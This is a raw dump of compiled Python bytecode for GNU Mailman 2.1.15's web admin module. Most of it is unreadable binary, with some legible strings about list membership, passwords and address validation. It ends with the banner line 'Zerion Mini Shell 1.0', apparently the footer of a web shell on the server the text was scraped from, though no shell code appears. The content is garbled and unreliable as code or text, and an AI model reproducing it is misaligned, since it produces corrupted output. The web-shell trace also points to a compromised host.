Wq�W|,rl|j)t*dtdG���|j)t+|,��|j)d�n|+r�|j)t*dtdH���g|+D]}5d"|5d|5df^q�}|j)tNt+tO|���|j)d�q�ndS(KNcs6yt�j|��SWnttfk
r1|SXdS(N(RR7R�t	TypeError(tformvart
defaultval(R^(s_/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/admin.pytsafeint)siR�RR�s!Moderator passwords did not matchR�R�sPoster passwords did not matchR�R�s%Administrator passwords did not matchR�R�R�R�R�R�R�itwhencesadmin mass subsAlready a members&lt;blank line&gt;sBad/Invalid email addresss$Hostile address (illegal characters)s$Banned address (matched %(pattern)s)isSuccessfully invited:sSuccessfully subscribed:s<p>sError inviting:sError subscribing:s%s -- %sR�R�R�R�sadmin mass unsubtadmin_notiftuseracksSuccessfully Unsubscribed:isCannot unsubscribe non-members:Rps#ff0000Rrs+2R�R�sBad moderation flag valueR�Rfs%s_unsubsmember mgt pagesNot subscribeds,Ignoring changes to deleted member: %(user)sR*s	Warning: s	%s_digestRdRkt_mods	%s_nomailRYRZRiR[R]s%s_%ssSuccessfully Removed:sError Unsubscribing:(ii(shidesacksnotmetoosnodupessplain(PRDR7RrRt	hexdigesttmod_passwordRRR0t
post_passwordtpasswordt
MakeCookieRR<RGt
handleFormR�t
splitlinesR�R�tdigest_is_defaultRTRURR/RtcanonstrR2RtMakeRandomPasswordtisMemberRtMMAlreadyAMembertInviteNewMembertApprovedAddMemberR�tMMBadEmailErrortaddresstMMHostileAddresstMembershipIsBannedR�RR�RR�R>RRtApprovedDeleteMembertNotAMemberErrorR?R�RAtVallueErrorRptsetMemberOptionR�R�RKR�RCR�RR�tDigeststAlreadyReceivingDigestst!AlreadyReceivingRegularDeliveriestCantDigestErrortMustDigestErrort
setMemberNameR�t
IsLanguagetsetMemberLanguageR�R	R�tsetDeliveryStatusR�R�tapplyttuple(6R(RbRcR^RhR�t	confirmedtnewtconfirmR�R�RGtsubscribersR�tentriesR�tsend_admin_notifR�R�R\tsubscribe_errorstsubscribe_successtentryt	safeentryR�R�tuserdescRtmembertx0tx1titemstremovalsR�tsend_unsub_notificationsR�tunsubscribe_errorstunsubscribe_successR�R�RftuserstuiterrorstremovestquserRtnewnametnewlangtoldlangtmoderateR�topt_codeRS((R^s_/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/admin.pyRQ(sv.					
				)
.



$



+(:t__doc__t
__future__RR$R9RvR3R�ROttypestemail.UtilsRRRRsRRRRR	R
tMailman.UserDescRtMailman.htmlformattMailman.CgiRtMailman.Logging.SyslogR
t
Mailman.UtilsRtMailman.CSRFcheckRR0R1RzR;R�R8RCt	NameErrorR<R=R�RkR,RLRXR�R�R�R�R�R�RmRnR�R�RQ(((s_/builddir/build/BUILDROOT/mailman-2.1.15-30.el7_9.2.x86_64/usr/lib/mailman/Mailman/Cgi/admin.pyt<module>s^

	

	�d	J	�	0		�		�9	2	 	:

Zerion Mini Shell 1.0